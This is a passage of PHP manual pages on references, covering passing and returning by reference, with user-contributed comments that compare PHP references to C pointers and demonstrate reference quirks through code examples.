Anonymous 11-May-2008 09:52
<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

As the example bellow, which just say out the reference is  equal to the pointer of variables as c.
See the $var as the pointer, firstly it point to the $bar, then as we use "=&" assign it, it change the pointer itself(not content) and point to the $GLOBALS["baz"].In this flow, the $bar change neighter its ponter nor the content.
This is just the concept in C, isn't it?
frank 21-Jan-2008 02:46
A little warning: my function my_make_vars()  (see other post) has a side-effect, of course...

$a=array('x'=>1,'y'=>2);

$x0=&$a['x'];

my_make_vars($a);

# $x0  now is not any more a reference to  $a['x'] !!!

$x1=&$a['x'];  # (but $x1 is, because done after the my_make_vars($a);)
$x=4; print $a['x'].' '; #  ->4
print $x0.' '.$x1;   # -> 1 4
Stevel 03-Feb-2007 08:30
The manual states: "There's no way to bind $bar in the calling scope to something else using the reference mechanism"

This is actually incorrect. It is possible to bind $bar to another object. The given example doesn't work for obvious reasons: $var is redeclared as an alias for $GLOBALS["baz"], instead of an alias for $bar.

You should use an ordinary assignment to assign another object to the same variable. This works because variables containing objects actually contain a reference to that object, and the reference is copied to $var, and therefore is copied to $bar as well.

When using primitive values, such as integers or strings, the values itself are copied. In the example (when excluding the ampersand from the assignment), suppose that $GLOBALS['baz'] contains the value 3, after calling foo($bar), $bar will contain the integer 3, but they won't point to the same memory space.

The correct sentence would be thus:
"There's no way make $bar in the calling scope an alias for something else using the reference mechanism"
Tee Cee 20-Aug-2006 05:59
You can think of references as pointers, if you translate a=b into "*a = *b" and a =& b into "a=b".

Let's translate to C:

<?PHP
const int c_1 = 1, c_2 = 2;
int * a = &c_1;
int * b = &c_2;

void foo (int * var)
{
   var = a;
}
?>

Here, it's obvious that calling foo(b) won't change the value of a, because var is a copy of b. You also have to be careful: order does matter. I could draw a diagram, but I won't.

<?php
$b=1; $d=2;
$a =& $b;
$c =& $d;
// now a=b=1; c=d=2;
$b =& $c;
// now a=1, b=c=d=2;
?>

It's also important to treat =& as its own operator, though you can stick spaces in the middle. The & does not bind to the variable, as shown by
<?php
$a = (&$b); // parse error
?>
jagatpreet 30-Jan-2006 11:27
In response to the example by mdiricks.

Extending the example given by mdiricks, the following code provides an explains the concept of re-referencing that is involved in making a call to function foo with the prototype foo(& var):

<!-- C re-referenced -->
<?

$a = 'eh';
$b = & $a;// $b == 'eh'
$c = & $b;// $c == 'eh'
$d = 'meh';

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

$c = & $d ;// $c == 'meh'
echo "\n";

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

?>

<!-- Value of c changed -->
<?

$a = 'eh';
$b = & $a;// $b == 'eh'
$c = & $b;// $c == 'eh'
$d = 'meh';

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

$c = 'meh' ;// $c == 'meh'. And also, $a = $b == 'meh'
echo "\n";

echo "\$a = $a\n";
echo "\$b = $b\n";
echo "\$c = $c\n";
echo "\$d = $d\n";

?>

This results in the following o/p:
<!-- C re-referenced -->
$a = eh
$b = eh
$c = eh
$d = meh

$a = eh
$b = eh
$c = meh
$d = meh

<!-- Value of c changed -->
$a = eh
$b = eh
$c = eh
$d = meh

$a = meh
$b = meh
$c = meh
$d = meh
DanielSan88 27-Oct-2005 08:10
I can see why there is a big debate on this. I'm hoping this will clarify it a little.

In PHP, as far as I can understand, when you assign a variable in the first place,
that variable is a refrence to the value that the variable contains.

<?php

$var = "String"; // Creates the string "String" somewhere in memory.
echo $var;

/* When the echo function is called, it pulls the value of $var out of memory from wherever PHP decided to put it.
PHP then ships this value off to your standard output. */

?>

Anyway, when you create a reference to the variable $var,
it doesn't reference the variable's name, but rather its contents.

For example:

<?php

$var2 = & $var;
echo $var2;
/* Calling this echo does ecactly the same thing as the echo in the code snippet above this one.
Whether you echo $var or $var2, the same string in memory is sent to your standard output. */

?>

In the same sense of an array, $var and $var2 are like keys to the same value. The value being the string in memory.

When you call a function that uses a reference, the reference is not less than the variable given as the argument, or anything more than it.
It is that same variable except with a different name.
mdirks at gulfstreamcoach dot com 21-Oct-2005 08:40
Here's a thought to settle the whole (are/aren't) debacle...

References are *like* pointers, but are not *identical to* pointers. The best comparison I could give is that references are "scope-limited pointers". You can change the value of one variable by changing the other as long as it is in the same scope. Once you set outside that scope (i.e. calling a function), references cease to act the same as pointers.

Example 1:
$a = 'eh';
$b = & $a;// $b == 'eh'
$c = & $b;// $c == 'eh'
$a = 'meh';// $c == 'meh'

... changing a's value will change c's value. This is where references are like pointers in C/C++

Example 2:
$GLOBALS["b"] = 'b_val';
$c = 'c_val';

function foo (&$var)
{
   $var =& $GLOBALS["b"]; //affects only 'var' copy
}

$GLOBALS["b"] = & $a; // $GLOBALS["b"] == 'a_val'
foo($c); // the value of c will remain 'c_val'

... It might help to think of it in a different way. A calling the function by reference mimics the following behavior:
$var = & $c;

... so when you if you execute this line in foo():
$var =& $GLOBALS["b"];
, you are just re-referencing var from what it was "referenced to" at the function call to a new reference.

This is where references are *not* like pointers in C/C++ as the value of c is not changed as it would be if a similiar function that implemented pointers were used.

I hope this clears up the confusion.
mstasak at access4less dot net 11-Jul-2005 07:18
Note references in array elements behave very much the same as pointers.  The following seems to defy the simple definition of array assignment as copy-by-value:

unset($a);
unset($b);

$a[1]=1;
$a[2]=&$a[1];

$b=$a;
$b[2]=7;

print_r($a);
Array
(
    [1] => 7
    [2] => 7
)
print_r($b);
Array
(
    [1] => 7
    [2] => 7
)

- so array assignment is a very shallow copy-by-value, which preserves reference associations in any array elements.  Oddly, I believe PHP lacks a deep array-copy-by-value function.
fzamperini_at_tin.it 16-Jun-2005 02:35
References are not like pointers.

If you try the example above in C/C++ you will find that after calling foo(var) you can get or set the value of $GLOBALS["baz"] by reading or writing variable 'var' (I didn't actually try it, but I vaguely remember it works this way).
In PHP this is also true if you do:

<?PHP
    $var =& $GLOBALS["baz"];
?>

but *IT IS NOT* if you use a function to do that, in spite of
- using a reference as a parameter (function foo(&$var)) and
- assigning it a reference to the variable you want to bind ($var =& $GLOBALS["baz"]) inside the function

I tried this:

<?PHP
$GLOBALS["baz"] = 'globals_baz';
$bar = 'bar';

function foo (&$var)
{
    $var =& $GLOBALS["baz"];
}

// Before 'binding' $bar to $GLOBALS["baz"] using a function
echo '$GLOBALS[baz]: ' . $GLOBALS["baz"] . "<BR>\n";    // Output is 'globals_baz'
echo "\$bar: $bar <BR>\n";    // Output is 'bar'

foo($bar);

// After (what you may expected to be a) binding you should see that $bar is the same as $GLOBALS[baz]:
echo "\$bar: $bar <BR>\n"; // it didn't work: output is still 'bar' (not 'globals_baz')

// And setting $bar should set $GLOBALS[baz]:
$bar = 'bar';
echo '$GLOBALS[baz]: ' . $GLOBALS["baz"] . "<BR>\n"; // it didn't work, too: output is still 'globals_baz' (not 'bar')
?>

If you change the calling of foo($bar) with $bar =& $GLOBALS["baz"]; it all works as expected.
So the assertion, "references are not like pointers," might be a bit confusing but it is fair.
ansonyumo at email dot com 28-Feb-2004 01:47
The assertion,  "references are not like pointers," is a bit confusing.

In the example, the author shows how assigning a reference to a formal parameter that is also a reference does not affect the value of the actual parameter. This is exactly how pointers behave in C. The only difference is that, in PHP, you don't have to dereference the pointer to get at the value.

-+-+-
int bar = 99;

void foo(int* a)
{
    a = &bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 1, because foo does not assign a value to the dereferenced formal parameter. Instead, it reassigns the formal parameter within foo's scope.

Alternatively,
-+-+-
int bar = 99;

void foo(int* a)
{
    *a = bar;
}

int main()
{
   int baz = 1;
   foo(&baz);
   printf("%d\n", baz);
   return 0;
}
-+-+-

The output will be 9, because foo dereferenced the formal parameter before assignment.

So, while there are differences in syntax, PHP references really are very much like pointers in C.

I would agree that PHP references are very different from Java references, as Java does not have any mechanism to assign a value to a reference in such a way that it modifies the actual parameter's value.
schultz __at__ widescreen __dot__ ch 26-Jan-2004 07:57
A not so simple Workaround...but still doable...have fun

class My{
    var $value;

    function get1(&$ref){
        $ref[] =& $this;
    }

    function get2(&$ref){
        $ref =& $this;
    }

    function get3(&$ref){
        $ref = $this;
    }
}

$m = new My();

$m->value = 'foo';
$m->get1($ref=array());
$m1 =& $ref[0];
$m1->value = 'bar';
echo "\n".'Works but is ugly...';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m1:'. get_class($m1) . '->value = '. $m1->value;

echo "\n".'Does not work because references are not pointers...';
$m->value = 'foo';
$m->get2($m2);
$m2->value = 'bar';
echo "\n".' m:'. get_class($m) . '->value = '. $m->value;
echo "\n".' m2:'. get_class($m2) . '->value = '. $m2->value;

$m->value = 'foo';
$m->get3($m3);
$m3->value = 'bar';
echo "\n".'Does not work becuase it is set to a copy';
echo "\n".' m:'. get_class($m) . '->value = '.$m->value;
echo "\n".' m3:'. get_class($m3) . '->value = '. $m3->value;
christian at kno dot at 12-Oct-2001 06:04
As said above references are not pointers.

Following example shows a difference between pointers and references.

This Code
<?
    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$a...\n");
    unset($a);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");

    $b = 1;
    $a =& $b;

    print("<pre>");
    print("\$a === \$b: ".(($a === $b) ? "ok" : "failed")."\n");
    print("unsetting \$b...\n");
    unset($b);
    print("now \$a is ".(isset($a) ? "set" : "unset")." and \$b is ".(isset($b) ? "set" : "unset")."\n");
    print("</pre>");
?>

will produce this output:
---------
$a === $b: ok
unsetting $a...
now $a is unset and $b is set

$a === $b: ok
unsetting $b...
now $a is set and $b is unset
---------

So you see that $a and $b are identical ($a === $b -> true), but if one of both is unset, the other is not effected.
What References Do
Passing by Reference
References Explained


Passing by Reference

You can pass a variable by reference to a function so the function can modify the variable. The syntax is as follows:

<?php
function foo(&$var)
{
    $var++;
}

$a=5;
foo($a);
// $a is 6 here
?>

Note: There is no reference sign on a function call - only on function definitions. Function definitions alone are enough to correctly pass the argument by reference. As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in foo(&$a);.

The following things can be passed by reference:

  • Variables, i.e. foo($a)
  • New statements, i.e. foo(new foobar())

  • References returned from functions, i.e.:

    <?php
    function foo(&$var)
    {
            $var++;
    }
    function &    bar()
    {
            $a = 5;
        return     $a;
    }
    foo(bar());
    ?>
    See more about returning by reference.

No other expressions should be passed by reference, as the result is undefined. For example, the following examples of passing by reference are invalid:

<?php
function foo(&$var)
{
    $var++;
}
function bar() // Note the missing &
{
    $a = 5;
    return $a;
}
foo(bar()); // Produces fatal error since PHP 5.0.5

foo($a = 5); // Expression, not variable
foo(5); // Produces fatal error
?>
These requirements are for PHP 4.0.4 and later.

User Contributed Notes

jocelyn dot heuze at gmail dot com 18-Oct-2011 10:12
Please note that you can't pass NULL to a function by reference, unless it's as a default value.

<?php

function foo(&$a = NULL) {
    if ($a === NULL) {
        echo "NULL\n";
    } else {
        echo "$a\n";
    }
}

foo(); // "NULL"
foo(5); // "5"
foo(NULL); // Produces an error

?>
4d88 dot results at gmail dot com 03-May-2011 08:15
This is the way how we use pointer to access variable inside the class.

<?php
class talker{

    private $data = 'Hi';

    public function & get(){
        return $this->data;
    }

    public function out(){
        echo $this->data;
    }

}

$aa = new talker();
$d = &$aa->get();

$aa->out();
$d = 'How';
$aa->out();
$d = 'Are';
$aa->out();
$d = 'You';
$aa->out();
?>

the output is "HiHowAreYou"
northhero at gmail dot com 24-Aug-2010 12:25
Someone mentioned that passing reference doesn't work as  expected from within call_user_func(). For example:

<?php
$string = 'string';
function change(&$str) {
    $str = 'str';
}
call_user_func('change', $string);
echo $string;
?>

output:
string               //not as expected 'str'

Here we could assume call_user_func as below

<?php
function call_user_funct($func, $param) {
    $func($param);
}
?>

As calling $func() inside call_user_funct, here is change(), the variable $param is copied to a third variable then the temp variable is passed to the $func. So $str only hold the reference of the temp variable inside change().
Of course , if we pass  &$string directly to call_user_func we could always get the result as expected (str).
northhero at gmail dot com 23-Aug-2010 07:02
Passing variable reference to function instead of declaring the function parameter type to reference also could get the result as expected.

<?php
$string = 'string';
function change($str) {
    $str = 'str';
}
change(&$string);
echo $string;
?>

yeild

str
PhoneixSegovia at GOOGLEMAILSERVER dot com 06-Jul-2010 08:05
If you call it without nothing (no variable, no constant) then a new variable is created with null or the default parameter.
If a null parameter is passed, then this (null) variable is used, even with a default value specified.

A simple example:
<?php

print '<pre>';

function foo(&$a=5){
    $a +=2;
    print "\nIn foo => $a";
}

function bar(&$a){
    $a += 2;
    print "\nIn bar => $a";
}

$a;
$b;
print "Initial:\n";
var_dump($a, $b);

foo();
bar();

print "\nAfter void call:\n";
var_dump($a, $b);

foo($a);
bar($b);

print "\nAfter passed:\n";
var_dump($a, $b);

print '</pre>';
?>

Output is:
"Initial:
NULL
NULL

In foo => 7
In bar => 2
After void call:
NULL
NULL

In foo => 2
In bar => 2
After passed:
int(2)
int(2)"

Note that null is equal to 0 in a mathematical expresion.
rvw at cosninix dot com 08-Feb-2010 02:13
Watch out that passing an uninitialised variable to a function will create the variable and will NOT give a NOTICE-undefined variable:

<?php
function ifnull(&$v,$default) {
   if (isset($v)) return $v;
   return $default;
}

$p=array();
$p['apple']=3;
echo ifnull($p['apple'],4);   -> 3
echo ifnull($p['pear'],5);    -> 5  No "undefined index" here.
if (isset($p['pear'])) echo "pear is set"; else echo "pear not set"; -> not set
if (array_key_exists('pear',$p)) echo "pear exists"; else echo "pear doesn't exist";  -> pear exists!
?>
Tom 20-Jul-2009 04:54
Still puzzled with references?

See this code:
<?php
function a(&$a, &$b) { $a =& $b; }
$a = 1;
$b = 2;
a($a, $b);
$b = 3;
print $a;
?>

If you expect the output to be 3, you are wrong. $a remains unchanged and the output is 1. The reference was NOT assigned to $a.

Now let's try this one:
<?php
function a(&$a, &$b) { $a = $b; }
$a = 1;
$b = 2;
a($a, $b);
$b = 3;
print $a;
?>

If you thought that now the output would be 3, you are wrong again. It's 2.

However this:
<?php
$a = 1;
$b = 2;
$a =& $b;
$b = 3;
print $a;
?>
Actually outputs 3.

But how about Objects? Objects, you might think, are always passed by reference. So this should work!

Well, let's check it out:
<?php
function a($a, $b) { $a = $b; }
$a = new StdClass;
$a->i = 1;
$b = new StdClass;
$b->i = 2;
a($a, $b);
$b->i = 3;
print $a->i;
?>
Outputs 1! So obviously you are wrong again.

What's the reason? Simple! The first (and the last) code example above translates to this fragment:
<?php
$a = 1;
$b = 2;
$a1 =& $a;
$b1 =& $b;
$a1 =& $b1;
$b = 3;
print $a;
?>

Now THAT makes it clear, right?

If you are referencing a reference you are NOT making the original pointer change it's destination like in Java or C#, because it is not dereferenced automatically. Instead you are overwriting the local pointer. You will make $a1 point to $b, which has no influence on the original $a.

This is different from all you might expect if you have been programming in other OO-languages before, so you should keep that in mind.
me at khurram dot nl 12-Sep-2008 07:55
in php 5.2.0 for classes

$obj1  =  $obj2;
is equal to
$obj1  =  &$obj2;"

<?php

class z {
    public $var = '';
    }

$a = new z();
$b   =&  $a;
$c  = $a;

$a->var = null;

var_dump($a);
print '<br>';
var_dump($b);
print '<br>';
var_dump($c);
print '<br><br>';

$a->var = 2;

var_dump($a);
print '<br>';
var_dump($b);
print '<br>';
var_dump($c);
print '<br><br>';

?>
mehea 19-May-2008 05:04
New in PHP5:  assign default value to
pass-by-reference paramter.

I didn't believe it even when I read
http://devzone.zend.com/article/1714-Whats-New-in-PHP-5

Then I tried this:

<?php
function my_func(&$arg = 22) {
    if ($arg == 22) {
        print '$arg is '. $arg;
    }
}
my_func();
?>

Guess what? It works, even tho' not clear about what $arg is actually referencing!
Chuckie 28-Oct-2007 08:33
If you intend to pass a copy of an object to a function, then you should use 'clone' to create a copy explicity.  In PHP5, objects appear to always be passed by reference (unlike PHP4), but this is not strictly true.

The way I think of it is that if you use '=&' (or you explicitly pass to a function by reference) the variable behaves like a C++ reference, except that you can re-assign the reference to something else (which is not possible in C++).

When you use '=' with an object, it is more like you are dealing with a pointer (if you think in this way, the '->' access element through pointer operator has the same behaviour in C++).

<?php

class z {
    public $var = '';
    }

function f(&$obj1, $obj2, $obj3, $obj4) {
  $obj1->var = null;
  $obj2->var = null;
  $obj3 = new z();
  $obj3->var = null;
  $obj4 = clone $obj4;
  $obj4->var = null;
  }
$a = new z();
$b = new z();
$c = new z();
$d = new z();
f($a, $b, $c, $d);

var_dump($a); // object(z)#1 (1) { ["var"] => NULL }
var_dump($b); // object(z)#2 (1) { ["var"] => NULL }
var_dump($c); // object(z)#3 (1) { ["var"] => string(0) "" }
var_dump($d); // object(z)#4 (1) { ["var"] => string(0) "" }

?>

Stephen
08-Jul-2007 04:54
jcastromail at yahoo dot es stated:
****
in php 5.2.0 for classes

$obj1  =  $obj2;
is equal to
$obj1  =  &$obj2;"
****

However, that is not completely true. While both = and =& will make a variable refer to the same object as the variable being assigned to it, the explicit reference assignment (=&) will keep the two variables joined to each other, whereas the assignment reference (=) will make the assigned variable an independent pointer to the object. An example should make this clearer:

<?php

class z {
    public $var = '';
    }

$a = new z();
$b   =&  $a;
$c  = $a;

$a->var = null;

var_dump($a);
print '<br>';
var_dump($b);
print '<br>';
var_dump($c);
print '<br><br>';

$a = 2;

var_dump($a);
print '<br>';
var_dump($b);
print '<br>';
var_dump($c);
print '<br><br>';

?>

This outputs:

object(z)#1 (1) { ["var"]=> NULL }
object(z)#1 (1) { ["var"]=> NULL }
object(z)#1 (1) { ["var"]=> NULL }

int(2)
int(2)
object(z)#1 (1) { ["var"]=> NULL }

So although all 3 variables reflect changes in the object, if you reassign one of the variables that were previously joined by reference to a different value, BOTH of those variables will adopt the new value.

Perhaps this is because =& statements join the 2 variable names in the symbol table, whereas = statements applied to objects simply create a new independent entry in the symbol table that simply points to the same location as other entries. I don't know for sure - I don't think this behavior is documented in the PHP manual, so perhaps somebody with more knowledge of PHP's internals can clarify what is going on.
sony-santos at bol dot com dot br 27-Jul-2007 01:06
Just another workaround for default values to parameters by ref in response to mogmios, bobbykjack, andrzej, fdelizy, petruzanautico, Train Boy, and php community.

<?php
# php 4.3.10

# note there's no & in function declaration:
function f($a = array('default value')) {
  $a[0] .= " processed<br/>";
  echo $a[0];
}

f(); # default value processed

$b = 'foo';

f(array(&$b)); # foo processed (note the & here)

echo $b; # foo processed
?>
doron 09-Jul-2007 06:06
I found that

f1(&$par=0);

behaves differently in 5.2.4 thatn in 5.0.4
in 5.2.4 the par is assined to zero AFTER function call
and thus, par is allways ZERO !
in 5.0.4 in is INITIALIZED to zero, BEFORE function call!
petruzanautico at yahoo dot com dot ar 25-Sep-2006 01:30
Actually there is a way to give a default value to a reference argument, if you need it badly.
It fires a warning, but you can prefix the function call with an @.
Of course, you cannot pass literals by reference.

<?php
function byref( &$ref )
{
  if( !isset( $ref ) )
    $ref = "default value";
  print $ref; // default or given value? who knows!
}

$hi = "some value ";
byref( $hi ); // works fine
@byref(); // missing argument warning, but works
byref( "hey!" ); // this will raise a fatal error
?>
fdelizy at unfreeze dot net 12-Aug-2006 09:32
Some have noticed that reference parameters can not be assigned a default value. It's actually wrong, they can be assigned a value as the other variables, but can't have a "default reference value", for instance this code won't compile :

<?php
function use_reference( $someParam, &$param =& $POST )
{
 ...
}
?>

But this one will work :

<?php
function use_reference( $someParam, &$param = null )
?>

So here is a workaround to have a default value for reference parameters :

<?php
$array1 = array ( 'test', 'test2' );

function AddTo( $key, $val, &$array = null)
{
    if ( $array == null )
    {
      $array =& $_POST;
    }

    $array[ $key ] = $val ;
}

AddTo( "indirect test", "test", $array1 );
AddTo( "indirect POST test", "test" );

echo "Array 1 " ;
print_r ( $array1);

echo "_POST ";
print_r( $_POST );

?>

And this scripts output is :

Array 1 Array
(
    [0] => test
    [1] => test2
    [indirect test] => test
)
_POST Array
(
    [indirect POST test] => test
)

Of course that means you can only assign default reference to globals or super globals variables.

Have fun
rmarscher 15-Sep-2005 03:42
Not sure if this is obvious to everyone, but if you pass an object by reference into a function and then set that variable to the reference of a new object, the initial variable outside the function is still pointing to the original object.

It became obvious to me why this is the case when I made a little diagram of what's actually happening in the system's memory, but before that when I was just looking at the code, it took me a while of testing before I realized what was going on.

Here's an example (I haven't tried in PHP5, but I would guess it works the same):
<?php
class Foo {}
class Bar {}

function & createBar()
{
  return new Bar;
}

function setBar(& $obj)
{
  echo get_class($obj) . "\n";
  $obj = & createBar();
  echo get_class($obj) . "\n";
}

$test = new Foo;
setBar($test);
echo get_class($test);
?>

Outputs:
foo
bar
foo
pillepop2003 at yahoo dot de 13-Feb-2005 08:08
PHP has a strange behavior when passing a part of an array by reference, that does not yet exist.

<?php
    function func(&$a)
    {
        // void();
    }

    $a['one'] =1;
    func($a['two']);
?>

var_dump($a) returns

    array(2) {
        ["one"]=>
        int(1)
        ["two"]=>
        NULL
    }

...which seems to be not intentional!
obscvresovl at NOSPAM dot hotmail dot com 25-Dec-2004 10:51
Just a simple note...

<?php

$num = 1;

function blah(&$var)
{
    $var++;
}

blah($num);

echo $num; #2

?>

<?php

$num = 1;

function blah()
{
    $var =& $GLOBALS["num"];
    $var++;
}

blah();

echo $num; #2

?>

Both codes do the same thing! The second code "explains" how passage of parameters by reference works.
jbr at diasparsoftware dot com 28-Sep-2004 09:46
Strangely enough, I had to put "&" on the call site, but not on the function parameter list, in order to get this to work. Here is the code:

<?php
class TestRunner {
    var $passed;
    var $failed;
    var $tests;

    function TestRunner() {
        $this->passed = 0;
        $this->failed = 0;
        $this->tests = array();
    }

    function addTest($test) {
        $this->tests[] = $test;
    }

    function signalFailed() {
        $this->failed++;
    }

    function runTests() {
        foreach ($this->tests as $i => $eachName) {
            call_user_func($eachName, &$this);
        }
    }

    function report() {
        ?>
        <p><?= count($this->tests) ?> run, <?= $this->passed ?> passed, <?= $this->failed ?> failed</p>
        <?php
    }
}

function testNullStringIsEmpty($testRunner) {
    $testRunner->signalFailed();
}

$testRunner = new TestRunner;
$testRunner->addTest("testNullStringIsEmpty");
$testRunner->runTests();
$testRunner->report();
?>

Notice that testNullStringIsEmpty() does not declare that it wants a reference to a test runner, whereas on the function call site, we pass in &$this. When I run this, I get "1 run, 0 passed, 1 failed"; but when I switch the location of the & to the function parameter list, I get "1 run, 0 passed, 0 failed". This is the exact opposite to what the manual claims. I have no idea why that is.
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Sep-2004 08:25
Sometimes we need functions for building or modifying arrays whose elements are to be references to other variables (arrays or objects for instance). In this example, I wrote two functions 'tst' and 'tst1' that perform this task. Note how the functions are written, and how they are used.

<?php
function tst(&$arr, $r) {
  // The argument '$arr' is declared to be passed by reference,
  // but '$r' is not;
  // however, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst($arr0, &$arr1); // We are passing a reference to '$arr1' in the call !

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18); // we add another element to $arr1 as well

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// -----------------------------------------
// A simpler way to do this:

function tst1(&$arr, &$r) {
  // Both arguments '$arr' and '$r" are declared to be passed by
  // reference,
  // again, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst1($arr0, $arr1); // 'tst1' understands '$r' is a reference to '$arr1'

echo "-------- 2nd. alternative ------------ <br>\n";

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18);

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// This outputs:
// X-Powered-By: PHP/4.1.2
// Content-type: text/html
//
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
// -------- 2nd. alternative ------------
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
?>

In both cases we get the same result.

I hope this is somehow useful

Sergio.
ben at mekhaye dot net 01-Sep-2004 02:27
Passing arrays by reference doesn't work as I expected from within call_user_func.

I had:

  <?php
  $arr = Array();
  call_user_func(Array("ClassName","functionName"), $param1, $param2, $arr);
  print_r($arr);

  class ClassName {

      functionName($param1, $param2, &$arr) {
        $arr[0] = "apple";
        $arr[1] = "banana";
        print_r($arr);
      }
  }
  ?>

I expected the output to be like:

  Array ( [0] => "apple" [1] => "banana" )
  Array ( [0] => "apple" [1] => "banana" )

but instead it was only:

  Array ( [0] => "apple" [1] => "banana" )

However, when I changed the function call to plain old:

  <?php
  $arr = Array();
  ClassName::functionName($param1,$param2,$arr);
  print_r($arr);
  ?>

Output was the expected:

  Array ( [0] => "apple" [1] => "banana" )
  Array ( [0] => "apple" [1] => "banana" )
php at meKILLTHIStatoandthisols dot org 09-Jun-2004 12:33
Ever been in a situation where you have to write:

  <?php
    $t = 1 ;
    $x =& $t ;
  ?>

or

  <?php
    $t = 1 ;
    f( $t ) ;
  ?>

because you cannot pass constants by value. The function

  <?php
    function& pclone( $v ) {
      return( $v ) ;
    }
  ?>

lets you get ridd of the temporary variable. You can write:

  <?php
    $x =& pclone( 1 ) ;
  ?>

or

  <?php
    f( pclone( 1 ) ) ;
  ?>

Alternatively you can use the other alternative ;-)
blistwon-php at designfridge dot com 17-Jan-2004 06:33
One thing to note about passing by reference. If you plan on assigning the reference to a new variable in your function, you must use the reference operator in the function declaration as well as in the assignment. (The same holds true for classes.)

<?php
function f1(&$num) {
    $num++;
}
function f2(&$num) {
    $num1 = $num;
    $num1++;
}
function f3(&$num) {
    $num1 = &$num;
    $num1++;
}

$myNum = 0;
print("Declare myNum: " . $myNum . "<br />\n");
f1($myNum);
print("Pass myNum as ref 1: " . $myNum . "<br />\n");
f2($myNum);
print("Pass myNum as ref 2: " . $myNum . "<br />\n");
f3($myNum);
print("Pass myNum as ref 3: " . $myNum . "<br />\n");
?>

-------------------------------------------------------
OUTPUT
-------------------------------------------------------
 Declare myNum: 0
 Pass myNum as ref 1: 1
 Pass myNum as ref 2: 1
 Pass myNum as ref 3: 2
-------------------------------------------------------

Hope this helps people trying to detangle any problems with pass-by-ref.
What References Are Not
Returning References
References Explained


Returning References

Returning by reference is useful when you want to use a function to find to which variable a reference should be bound. Do not use return-by-reference to increase performance. The engine will automatically optimize this on its own. Only return references when you have a valid technical reason to do so. To return references, use this syntax:

<?php
class foo {
    public $value = 42;

    public function &getValue() {
        return $this->value;
    }
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue is a reference to $obj->value, which is 42.
$obj->value = 2;
echo $myValue;                // prints the new value of $obj->value, i.e. 2.
?>
In this example, the property of the object returned by the getValue function would be set, not the copy, as it would be without using reference syntax.

Note: Unlike parameter passing, here you have to use & in both places - to indicate that you want to return by reference, not a copy, and to indicate that reference binding, rather than usual assignment, should be done for $myValue.

Note: If you try to return a reference from a function with the syntax: return ($this->value); this will not work as you are attempting to return the result of an expression, and not a variable, by reference. You can only return variables by reference from a function - nothing else. Since PHP 4.4.0 in the PHP 4 branch, and PHP 5.1.0 in the PHP 5 branch, an E_NOTICE error is issued if the code tries to return a dynamic expression or a result of the new operator.

To use the returned reference, you must use reference assigment:

<?php
function &collector() {
  static $collection = array();
  return $collection;
}
$collection = &collector();
$collection[] = 'foo';
?>
To pass the returned reference to another function expecting a reference you can use this syntax:
<?php
function &collector() {
  static $collection = array();
  return $collection;
}
array_push(collector(), 'foo');
?>

Note: Note that array_push(&collector(), 'foo'); will not work, it results in a fatal error.

User Contributed Notes

benjamin dot delespierre at gmail dot com 23-Feb-2011 05:36
Keep in mind that returning by reference doesn't work with __callStatic:

<?php
class Test {
  private static $_inst;
  public static function & __callStatic ($name, $args) {
    if (!isset(static::$_inst)){
      echo "create";
      static::$_inst = (object)"test";
   }
   return static::$_inst;
}

var_dump($a = &Test::abc()); // prints 'create'
$a = null;
var_dump(Test::abc()); // doesn't prints and the instance still exists in Test::$_inst
?>
szymoncofalik at gmail dot com 28-Jan-2011 12:41
Sometimes, you would like to return NULL with a function returning reference, to indicate the end of chain of elements. However this generates E_NOTICE. Here is little tip, how to prevent that:

<?php
class Foo {
   const $nullGuard = NULL;
   // ... some declarations and definitions
   public function &next() {
      // ...
      if (!$end) return $bar;
      else return $this->nullGuard;
   }
}
?>

by doing this you can do smth like this without notices:

<?php
$f = new Foo();
// ...
while (($item = $f->next()) != NULL) {
// ...
}
?>

you may also use global variable:
global $nullGuard;
return $nullGuard;
spidgorny at gmail dot com 19-Mar-2010 06:18
When returning reference to the object member which is instantiated inside the function, the object is destructed upon returning (which is a problem). It's easier to see the code:

<?php

class MemcacheArray {
    public $data;

    ...

    /**
     * Super-clever one line cache reading AND WRITING!
     * Usage $data = &MemcacheArray::getData(__METHOD__);
